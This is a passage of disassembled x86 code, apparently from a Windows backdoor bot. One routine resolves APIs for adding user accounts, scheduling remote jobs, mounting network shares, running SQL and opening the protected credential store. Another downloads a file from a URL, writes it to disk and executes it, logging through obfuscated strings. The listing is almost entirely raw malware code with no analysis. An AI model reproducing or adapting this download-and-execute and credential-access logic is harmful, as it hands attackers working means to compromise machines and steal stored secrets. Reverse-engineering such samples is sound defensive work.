		push	offset aMozilla5_0 ; "Mozilla/5.0"
		call	ecx ; dword_456EA8
		cmp	eax, ebx
		mov	dword_456ED0, eax
		jnz	short loc_417E10
		jmp	short loc_417E0A
; ---------------------------------------------------------------------------


loc_417DF5:				; CODE XREF: sub_417362+97Fj
		call	dword_437170	; RtlGetLastWin32Error
		mov	dword_457054, eax
		mov	dword_457050, 1


loc_417E0A:				; CODE XREF: sub_417362+A91j
		mov	dword_456ED0, ebx


loc_417E10:				; CODE XREF: sub_417362+A7Bj
					; sub_417362+A8Fj
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp ; dword_437034
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_417E5A
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi ; dword_437030
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_456E94, eax
		call	esi ; dword_437030
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_457018, eax
		call	esi ; dword_437030
		cmp	dword_456E94, ebx
		mov	dword_456E10, eax
		jz	short loc_417E65
		cmp	dword_457018, ebx
		jz	short loc_417E65
		cmp	eax, ebx
		jnz	short loc_417E6F
		jmp	short loc_417E65
; ---------------------------------------------------------------------------


loc_417E5A:				; CODE XREF: sub_417362+AB9j
		call	dword_437170	; RtlGetLastWin32Error
		mov	dword_45705C, eax


loc_417E65:				; CODE XREF: sub_417362+AE8j
					; sub_417362+AF0j ...
		mov	dword_457058, 1


loc_417E6F:				; CODE XREF: sub_417362+AF4j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp ; dword_437034
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_417F65
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi ; dword_437030
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_456DE0, eax
		call	esi ; dword_437030
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_456DBC, eax
		call	esi ; dword_437030
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_456E40, eax
		call	esi ; dword_437030
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_456E84, eax
		call	esi ; dword_437030
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_456FE0, eax
		call	esi ; dword_437030
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_456E2C, eax
		call	esi ; dword_437030
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_456DC4, eax
		call	esi ; dword_437030
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_456DB8, eax
		call	esi ; dword_437030
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_456E60, eax
		call	esi ; dword_437030
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_456F98, eax
		call	esi ; dword_437030
		cmp	dword_456DE0, ebx
		mov	dword_456F48, eax
		jz	short loc_417F70
		cmp	dword_456DBC, ebx
		jz	short loc_417F70
		cmp	dword_456E40, ebx
		jz	short loc_417F70
		cmp	dword_456E84, ebx
		jz	short loc_417F70
		cmp	dword_456FE0, ebx
		jz	short loc_417F70
		cmp	dword_456E2C, ebx
		jz	short loc_417F70
		cmp	dword_456DC4, ebx
		jz	short loc_417F70
		cmp	dword_456DB8, ebx
		jz	short loc_417F70
		cmp	dword_456E60, ebx
		jz	short loc_417F70
		cmp	dword_456F98, ebx
		jz	short loc_417F70
		cmp	eax, ebx
		jnz	short loc_417F7A
		jmp	short loc_417F70
; ---------------------------------------------------------------------------


loc_417F65:				; CODE XREF: sub_417362+B18j
		call	dword_437170	; RtlGetLastWin32Error
		mov	dword_457064, eax


loc_417F70:				; CODE XREF: sub_417362+BB3j
					; sub_417362+BBBj ...
		mov	dword_457060, 1


loc_417F7A:				; CODE XREF: sub_417362+BFFj
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp ; dword_437034
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_417FAF
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi ; dword_437030
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_456E14, eax
		call	esi ; dword_437030
		cmp	dword_456E14, ebx
		mov	dword_456F2C, eax
		jz	short loc_417FBA
		cmp	eax, ebx
		jnz	short loc_417FC4
		jmp	short loc_417FBA
; ---------------------------------------------------------------------------


loc_417FAF:				; CODE XREF: sub_417362+C23j
		call	dword_437170	; RtlGetLastWin32Error
		mov	dword_45706C, eax


loc_417FBA:				; CODE XREF: sub_417362+C45j
					; sub_417362+C4Bj
		mov	dword_457068, 1


loc_417FC4:				; CODE XREF: sub_417362+C49j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp ; dword_437034
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_418057
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi ; dword_437030
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_456FCC, eax
		call	esi ; dword_437030
		push	offset aGetiftable ; "GetIfTable"
		push	edi
		mov	dword_456FC8, eax
		call	esi ; dword_437030
		push	offset aGettcptable ; "GetTcpTable"
		push	edi
		mov	dword_456EFC, eax
		call	esi ; dword_437030
		push	offset aGetudptable ; "GetUdpTable"
		push	edi
		mov	dword_456F14, eax
		call	esi ; dword_437030
		cmp	dword_456FCC, ebx
		mov	dword_456FA4, eax
		jz	short loc_41803A
		cmp	dword_456FC8, ebx
		jz	short loc_41803A
		cmp	dword_456EFC, ebx
		jz	short loc_41803A
		cmp	eax, ebx
		jz	short loc_41803A
		cmp	dword_456F14, ebx
		jnz	short loc_418044


loc_41803A:				; CODE XREF: sub_417362+CBAj
					; sub_417362+CC2j ...
		mov	dword_457070, 1


loc_418044:				; CODE XREF: sub_417362+CD6j
		push	offset aGetnetworkpara ; "GetNetworkParams"
		push	edi
		call	esi ; dword_437030
		cmp	eax, ebx
		mov	dword_456EB4, eax
		jnz	short loc_41806C
		jmp	short loc_418062
; ---------------------------------------------------------------------------


loc_418057:				; CODE XREF: sub_417362+C6Dj
		call	dword_437170	; RtlGetLastWin32Error
		mov	dword_457078, eax


loc_418062:				; CODE XREF: sub_417362+CF3j
		mov	dword_457070, 1


loc_41806C:				; CODE XREF: sub_417362+CF1j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp ; dword_437034
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4180CB
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi ; dword_437030
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_457000, eax
		call	esi ; dword_437030
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_456FF8, eax
		call	esi ; dword_437030
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_456FB0, eax
		call	esi ; dword_437030
		cmp	dword_457000, ebx
		mov	dword_456E34, eax
		jz	short loc_4180D6
		cmp	dword_456FF8, ebx
		jz	short loc_4180D6
		cmp	dword_456FB0, ebx
		jz	short loc_4180D6
		cmp	eax, ebx
		jnz	short loc_4180E0
		jmp	short loc_4180D6
; ---------------------------------------------------------------------------


loc_4180CB:				; CODE XREF: sub_417362+D15j
		call	dword_437170	; RtlGetLastWin32Error
		mov	dword_457080, eax


loc_4180D6:				; CODE XREF: sub_417362+D51j
					; sub_417362+D59j ...
		mov	dword_45707C, 1


loc_4180E0:				; CODE XREF: sub_417362+D65j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp ; dword_437034
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_418115
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi ; dword_437030
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_456E74, eax
		call	esi ; dword_437030
		cmp	dword_456E74, ebx
		mov	dword_456FC4, eax
		jz	short loc_418120
		cmp	eax, ebx
		jnz	short loc_41812A
		jmp	short loc_418120
; ---------------------------------------------------------------------------


loc_418115:				; CODE XREF: sub_417362+D89j
		call	dword_437170	; RtlGetLastWin32Error
		mov	dword_457088, eax


loc_418120:				; CODE XREF: sub_417362+DABj
					; sub_417362+DB1j
		mov	dword_457084, 1


loc_41812A:				; CODE XREF: sub_417362+DAFj
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp ; dword_437034
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4181B3
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi ; dword_437030
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_456F78, eax
		call	esi ; dword_437030
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_456FD8, eax
		call	esi ; dword_437030
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_456EE8, eax
		call	esi ; dword_437030
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_456E8C, eax
		call	esi ; dword_437030
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_456F5C, eax
		call	esi ; dword_437030
		cmp	dword_456F78, ebx
		mov	dword_456E9C, eax
		jz	short loc_4181BE
		cmp	dword_456FD8, ebx
		jz	short loc_4181BE
		cmp	dword_456EE8, ebx
		jz	short loc_4181BE
		cmp	dword_456E8C, ebx
		jz	short loc_4181BE
		cmp	dword_456F5C, ebx
		jz	short loc_4181BE
		cmp	eax, ebx
		jnz	short loc_4181C8
		jmp	short loc_4181BE
; ---------------------------------------------------------------------------


loc_4181B3:				; CODE XREF: sub_417362+DD3j
		call	dword_437170	; RtlGetLastWin32Error
		mov	dword_457090, eax


loc_4181BE:				; CODE XREF: sub_417362+E29j
					; sub_417362+E31j ...
		mov	dword_45708C, 1


loc_4181C8:				; CODE XREF: sub_417362+E4Dj
		push	offset aPsapi_dll ; "psapi.dll"
		call	ebp ; dword_437034
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41823D
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	edi
		call	esi ; dword_437030
		push	offset aGetmodulebasen ; "GetModuleBaseNameA"
		push	edi
		mov	dword_456EE4, eax
		call	esi ; dword_437030
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	edi
		mov	dword_456E20, eax
		call	esi ; dword_437030
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	edi
		mov	dword_456EEC, eax
		call	esi ; dword_437030
		push	offset aGetprocessmemo ; "GetProcessMemoryInfo"
		push	edi
		mov	dword_456F30, eax
		call	esi ; dword_437030
		cmp	dword_456E20, ebx
		mov	dword_456FA0, eax
		jz	short loc_418232
		cmp	dword_456EEC, ebx
		jz	short loc_418232
		cmp	dword_456F30, ebx
		jz	short loc_418232
		cmp	eax, ebx
		jnz	short loc_418252


loc_418232:				; CODE XREF: sub_417362+EBAj
					; sub_417362+EC2j ...
		xor	edi, edi
		inc	edi
		mov	dword_45709C, edi
		jmp	short loc_418255
; ---------------------------------------------------------------------------


loc_41823D:				; CODE XREF: sub_417362+E71j
		call	dword_437170	; RtlGetLastWin32Error
		mov	dword_4570A0, eax
		mov	dword_45709C, 1


loc_418252:				; CODE XREF: sub_417362+ECEj
		xor	edi, edi
		inc	edi


loc_418255:				; CODE XREF: sub_417362+ED9j
		push	offset aPstorec_dll ; "pstorec.dll"
		call	ebp ; dword_437034
		cmp	eax, ebx
		jz	short loc_418273
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	eax
		call	esi ; dword_437030
		cmp	eax, ebx
		mov	dword_456F0C, eax
		jnz	short loc_418284
		jmp	short loc_41827E
; ---------------------------------------------------------------------------


loc_418273:				; CODE XREF: sub_417362+EFCj
		call	dword_437170	; RtlGetLastWin32Error
		mov	dword_4570A8, eax


loc_41827E:				; CODE XREF: sub_417362+F0Fj
		mov	dword_4570A4, edi


loc_418284:				; CODE XREF: sub_417362+F0Dj
		push	offset aShlwapi_dll ; "shlwapi.dll"
		call	ebp ; dword_437034
		cmp	eax, ebx
		jz	short loc_4182A2
		push	offset aPathremovefile ; "PathRemoveFileSpecA"
		push	eax
		call	esi ; dword_437030
		cmp	eax, ebx
		mov	dword_456EAC, eax
		jnz	short loc_4182B3
		jmp	short loc_4182AD
; ---------------------------------------------------------------------------


loc_4182A2:				; CODE XREF: sub_417362+F2Bj
		call	dword_437170	; RtlGetLastWin32Error
		mov	dword_4570B8, eax


loc_4182AD:				; CODE XREF: sub_417362+F3Ej
		mov	dword_4570B4, edi


loc_4182B3:				; CODE XREF: sub_417362+F3Cj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417362	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182BA	proc near		; DATA XREF: sub_40A9FE+56AFo
					; sub_40A9FE+5942o

var_2BE4	= byte ptr -2BE4h
var_4D4		= byte ptr -4D4h
var_3D0		= byte ptr -3D0h
var_330		= byte ptr -330h
var_2B8		= byte ptr -2B8h
var_240		= byte ptr -240h
var_13C		= dword	ptr -13Ch
var_110		= dword	ptr -110h
var_10C		= word ptr -10Ch
var_F8		= byte ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= byte ptr -0F0h
var_88		= qword	ptr -88h
var_7C		= qword	ptr -7Ch
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= qword	ptr -20h
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2BE4h
		call	sub_429B60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	31h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_F4]
		rep movsd
		xor	edi, edi
		push	9Fh
		push	[ebp+var_6C]
		inc	edi
		mov	[eax+0BCh], edi
		mov	eax, [ebp+var_F4]
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_3D0]
		push	eax
		call	sub_429D10
		push	104h
		lea	eax, [ebp+var_240]
		push	[ebp+var_68]
		push	eax
		call	sub_429D10
		add	esp, 18h
		xor	ebx, ebx
		lea	eax, [ebp+var_3D0]
		push	ebx
		push	80000300h
		push	ebx
		push	ebx
		push	eax
		push	dword_456ED0
		call	dword_456DF4	; InternetOpenUrlA
		cmp	eax, ebx
		mov	[ebp+var_2C], eax
		jz	loc_4189B5
		push	ebx
		push	ebx
		push	2
		push	ebx
		push	ebx
		lea	eax, [ebp+var_240]
		push	40000000h
		push	eax
		call	dword_43705C	; CreateFileA
		cmp	eax, edi
		mov	dword ptr [ebp+var_20+4], eax
		jnb	short loc_4183DC
		cmp	[ebp+var_40], ebx
		mov	edi, offset aHuudgYqzdz	; "HuuDG/YQZDz/"
		mov	esi, offset aSCouldnTOpenFi ; "%s Couldn't open file for writing: %s."
		jnz	short loc_418399
		cmp	[ebp+var_3C], ebx
		jnz	short loc_41839E
		cmp	[ebp+var_60], ebx
		mov	eax, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
		jnz	short loc_41837E
		mov	eax, edi


loc_41837E:				; CODE XREF: sub_4182BA+C0j
		lea	ecx, [ebp+var_240]
		push	ecx
		push	eax
		lea	eax, [ebp+var_F0]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 14h


loc_418399:				; CODE XREF: sub_4182BA+B1j
		cmp	[ebp+var_3C], ebx
		jz	short loc_4183C3


loc_41839E:				; CODE XREF: sub_4182BA+B6j
		cmp	[ebp+var_60], ebx
		jz	short loc_4183A8
		mov	edi, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"


loc_4183A8:				; CODE XREF: sub_4182BA+E7j
		lea	eax, [ebp+var_240]
		push	eax
		push	edi
		lea	eax, [ebp+var_F0]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 14h


loc_4183C3:				; CODE XREF: sub_4182BA+E2j
		push	[ebp+var_2C]
		call	dword_456F70	; InternetCloseHandle
		push	[ebp+var_70]
		call	sub_423623
		pop	ecx
		push	ebx
		call	dword_437174	; ExitThread


loc_4183DC:				; CODE XREF: sub_4182BA+A2j
		mov	esi, dword_437188
		mov	[ebp+var_4], ebx
		call	esi ; dword_437188
		mov	edi, 7D000h
		mov	dword ptr [ebp+var_C+4], eax
		push	edi
		call	sub_4297B8
		pop	ecx
		mov	[ebp+var_30], eax


loc_4183F9:				; CODE XREF: sub_4182BA+1B9j
		push	2710h
		lea	eax, [ebp+var_2BE4]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_2BE4]
		push	2710h
		push	eax
		push	[ebp+var_2C]
		call	dword_456DFC	; InternetReadFile
		lea	eax, [ebp+var_F8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2BE4]
		push	[ebp+var_18]
		push	eax
		push	dword ptr [ebp+var_20+4]
		call	dword_437078	; WriteFile
		mov	ecx, [ebp+var_4]
		cmp	ecx, edi
		jnb	short loc_41846B
		mov	eax, edi
		sub	eax, ecx
		cmp	eax, [ebp+var_18]
		jbe	short loc_418455
		mov	eax, [ebp+var_18]


loc_418455:				; CODE XREF: sub_4182BA+196j
		push	eax
		lea	eax, [ebp+var_2BE4]
		push	eax
		mov	eax, [ebp+var_30]
		add	eax, ecx
		push	eax
		call	sub_429420
		add	esp, 0Ch


loc_41846B:				; CODE XREF: sub_4182BA+18Dj
		mov	eax, [ebp+var_18]
		add	[ebp+var_4], eax
		cmp	eax, ebx
		ja	short loc_4183F9
		call	esi ; dword_437188
		sub	eax, dword ptr [ebp+var_C+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_30]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, [ebp+var_4]
		inc	ecx
		div	ecx
		mov	dword ptr [ebp+var_C+4], eax
		call	sub_4298F2
		pop	ecx
		push	dword ptr [ebp+var_20+4]
		call	dword_437044	; CloseHandle
		push	[ebp+var_2C]
		call	dword_456F70	; InternetCloseHandle
		cmp	[ebp+var_40], ebx
		mov	edi, offset aHuudgYqzdz	; "HuuDG/YQZDz/"
		jnz	short loc_41851D
		cmp	[ebp+var_3C], ebx
		jnz	short loc_418522
		cmp	[ebp+var_60], ebx
		mov	eax, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
		jnz	short loc_4184C6
		mov	eax, edi


loc_4184C6:				; CODE XREF: sub_4182BA+208j
		mov	ecx, dword ptr [ebp+var_C+4]
		mov	dword ptr [ebp+var_20+4], ebx
		mov	dword ptr [ebp+var_20],	ecx
		push	ecx
		fild	[ebp+var_20]
		push	ecx
		lea	ecx, [ebp+var_240]
		mov	dword ptr [ebp+var_20+4], ebx
		fmul	dbl_437328
		fstp	[esp+7Ch+var_7C]
		push	ecx
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ebp+var_20],	ecx
		push	ecx
		fild	[ebp+var_20]
		push	ecx
		fmul	dbl_437328
		fstp	[esp+88h+var_88]
		push	offset aRy6iq0udbph ; "RY6IQ0UDbPh/"
		push	offset a8cbgoRjryr_ ; "8CBGO/rJRYr."
		push	eax
		lea	eax, [ebp+var_F0]
		push	offset aSSS_1fkbToS@_1 ; "%s %s	%s: %.1fKB to: %s @ %.1fKB/sec."
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 2Ch


loc_41851D:				; CODE XREF: sub_4182BA+1F9j
		cmp	[ebp+var_3C], ebx
		jz	short loc_418585


loc_418522:				; CODE XREF: sub_4182BA+1FEj
		cmp	[ebp+var_60], ebx
		mov	eax, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
		jnz	short loc_41852E
		mov	eax, edi


loc_41852E:				; CODE XREF: sub_4182BA+270j
		mov	ecx, dword ptr [ebp+var_C+4]
		mov	dword ptr [ebp+var_C+4], ebx
		mov	dword ptr [ebp+var_C], ecx
		push	ecx
		fild	[ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_240]
		mov	dword ptr [ebp+var_C+4], ebx
		fmul	dbl_437328
		fstp	[esp+7Ch+var_7C]
		push	ecx
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ebp+var_C], ecx
		push	ecx
		fild	[ebp+var_C]
		push	ecx
		fmul	dbl_437328
		fstp	[esp+88h+var_88]
		push	offset aRy6iq0udbph ; "RY6IQ0UDbPh/"
		push	offset a8cbgoRjryr_ ; "8CBGO/rJRYr."
		push	eax
		lea	eax, [ebp+var_F0]
		push	offset aSSS_1fkbToS@_1 ; "%s %s	%s: %.1fKB to: %s @ %.1fKB/sec."
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 2Ch


loc_418585:				; CODE XREF: sub_4182BA+266j
		cmp	[ebp+var_60], ebx
		jnz	loc_4188A1
		cmp	[ebp+var_5C], ebx
		jz	loc_418A2A
		mov	eax, [ebp+var_58]
		push	104h
		mov	dword ptr [ebp+var_C+4], eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_4D4]
		push	eax
		call	sub_429D10
		add	esp, 0Ch
		lea	eax, [ebp+var_4D4]
		push	eax
		call	dword_456EAC	; PathRemoveFileSpecA
		test	eax, eax
		jnz	short loc_418626
		cmp	[ebp+var_40], ebx
		mov	esi, offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		jnz	short loc_4185F8
		cmp	[ebp+var_3C], ebx
		jnz	short loc_418601
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	esi
		push	edi
		lea	eax, [ebp+var_F0]
		push	offset aSCouldnTParseP ; "%s Couldn't parse path, %s: <%d>"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 18h


loc_4185F8:				; CODE XREF: sub_4182BA+317j
		cmp	[ebp+var_3C], ebx
		jz	loc_418700


loc_418601:				; CODE XREF: sub_4182BA+31Cj
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	esi
		push	edi
		lea	eax, [ebp+var_F0]
		push	offset aSCouldnTParseP ; "%s Couldn't parse path, %s: <%d>"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 18h
		jmp	loc_418700
; ---------------------------------------------------------------------------


loc_418626:				; CODE XREF: sub_4182BA+30Dj
		push	44h
		lea	eax, [ebp+var_13C]
		push	ebx
		push	eax
		call	sub_429760
		push	10h
		lea	eax, [ebp+var_28]
		push	ebx
		push	eax
		call	sub_429760
		mov	eax, dword ptr [ebp+var_C+4]
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		mov	[ebp+var_13C], 44h
		and	al, 0FBh
		mov	[ebp+var_110], 1
		add	eax, 5
		mov	[ebp+var_10C], ax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		lea	eax, [ebp+var_4D4]
		push	eax
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_240]
		push	ebx
		push	eax
		push	ebx
		call	dword_4370D8	; CreateProcessA
		test	eax, eax
		jnz	short loc_41870A
		cmp	[ebp+var_40], ebx
		mov	esi, offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		jnz	short loc_4186CF
		cmp	[ebp+var_3C], ebx
		jnz	short loc_4186D4
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_240]
		push	esi
		push	eax
		push	offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0"
		push	edi
		lea	eax, [ebp+var_F0]
		push	offset aSSToCreateProc ; "%s %s	to create process: \"%s\", %s: <%d>"...
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 20h


loc_4186CF:				; CODE XREF: sub_4182BA+3E2j
		cmp	[ebp+var_3C], ebx
		jz	short loc_418700


loc_4186D4:				; CODE XREF: sub_4182BA+3E7j
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_240]
		push	esi
		push	eax
		push	offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0"
		push	edi
		lea	eax, [ebp+var_F0]
		push	offset aSSToCreateProc ; "%s %s	to create process: \"%s\", %s: <%d>"...
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 20h


loc_418700:				; CODE XREF: sub_4182BA+341j
					; sub_4182BA+367j ...
		xor	eax, eax
		pop	edi
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_41870A:				; CODE XREF: sub_4182BA+3D8j
		call	esi ; dword_437188
		cmp	[ebp+var_40], ebx
		mov	dword ptr [ebp+var_C+4], eax
		jnz	short loc_41873B
		cmp	[ebp+var_3C], ebx
		jnz	short loc_418740
		push	dword ptr [ebp+var_20]
		lea	eax, [ebp+var_240]
		push	eax
		push	edi
		lea	eax, [ebp+var_F0]
		push	offset aSCreatedProces ; "%s Created process: \"%s\", PID: <%d>"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 18h


loc_41873B:				; CODE XREF: sub_4182BA+458j
		cmp	[ebp+var_3C], ebx
		jz	short loc_418762


loc_418740:				; CODE XREF: sub_4182BA+45Dj
		push	dword ptr [ebp+var_20]
		lea	eax, [ebp+var_240]
		push	eax
		push	edi
		lea	eax, [ebp+var_F0]
		push	offset aSCreatedProces ; "%s Created process: \"%s\", PID: <%d>"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 18h


loc_418762:				; CODE XREF: sub_4182BA+484j
		cmp	[ebp+var_44], ebx
		jz	loc_41887C
		push	0FFFFFFFFh
		push	[ebp+var_28]
		call	dword_43707C	; WaitForSingleObject
		call	esi ; dword_437188
		sub	eax, dword ptr [ebp+var_C+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	3Ch
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		pop	esi
		mov	[ebp+var_2B8], bl
		div	ecx
		mov	ecx, 0E10h
		mov	eax, edx
		xor	edx, edx
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		cmp	ecx, ebx
		mov	esi, edx
		mov	dword ptr [ebp+var_C+4], eax
		jbe	short loc_4187EA
		cmp	ecx, 1
		mov	eax, offset aHour ; " hour"
		jz	short loc_4187C1
		mov	eax, offset aHours ; " hours"


loc_4187C1:				; CODE XREF: sub_4182BA+500j
		push	eax
		push	ecx
		lea	eax, [ebp+var_330]
		push	offset aDS	; " %d%s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_330]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_42A5E0
		add	esp, 18h


loc_4187EA:				; CODE XREF: sub_4182BA+4F6j
		push	esi
		lea	eax, [ebp+var_330]
		push	dword ptr [ebp+var_C+4]
		push	offset a_2d_2d	; " %.2d:%.2d"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_330]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_42A5E0
		add	esp, 18h
		cmp	[ebp+var_3C], ebx
		mov	esi, offset aSProcessSSTota ; "%s Process %s: \"%s\", Total %s Time: %s."...
		jnz	short loc_418850
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_240]
		push	offset aIhfnL6b5x ; "/iHFN/l6B5X/"
		push	eax
		push	offset aSfe3h0kclgx0 ; "SFe3H0kCLgx0"
		push	edi
		lea	eax, [ebp+var_F0]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 20h
		cmp	[ebp+var_3C], ebx
		jz	short loc_41887C


loc_418850:				; CODE XREF: sub_4182BA+563j
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_240]
		push	offset aIhfnL6b5x ; "/iHFN/l6B5X/"
		push	eax
		push	offset aSfe3h0kclgx0 ; "SFe3H0kCLgx0"
		push	edi
		lea	eax, [ebp+var_F0]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 20h


loc_41887C:				; CODE XREF: sub_4182BA+4ABj
					; sub_4182BA+594j
		cmp	[ebp+var_28], ebx
		jz	short loc_41888A
		push	[ebp+var_28]
		call	dword_437044	; CloseHandle


loc_41888A:				; CODE XREF: sub_4182BA+5C5j
		cmp	[ebp+var_24], ebx
		jz	loc_418A2A
		push	[ebp+var_24]
		call	dword_437044	; CloseHandle
		jmp	loc_418A2A
; ---------------------------------------------------------------------------


loc_4188A1:				; CODE XREF: sub_4182BA+2CEj
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_429760
		push	44h
		lea	eax, [ebp+var_13C]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 18h
		lea	eax, [ebp+var_14]
		mov	[ebp+var_13C], esi
		mov	[ebp+var_10C], bx
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	ebx
		push	ebx
		push	28h
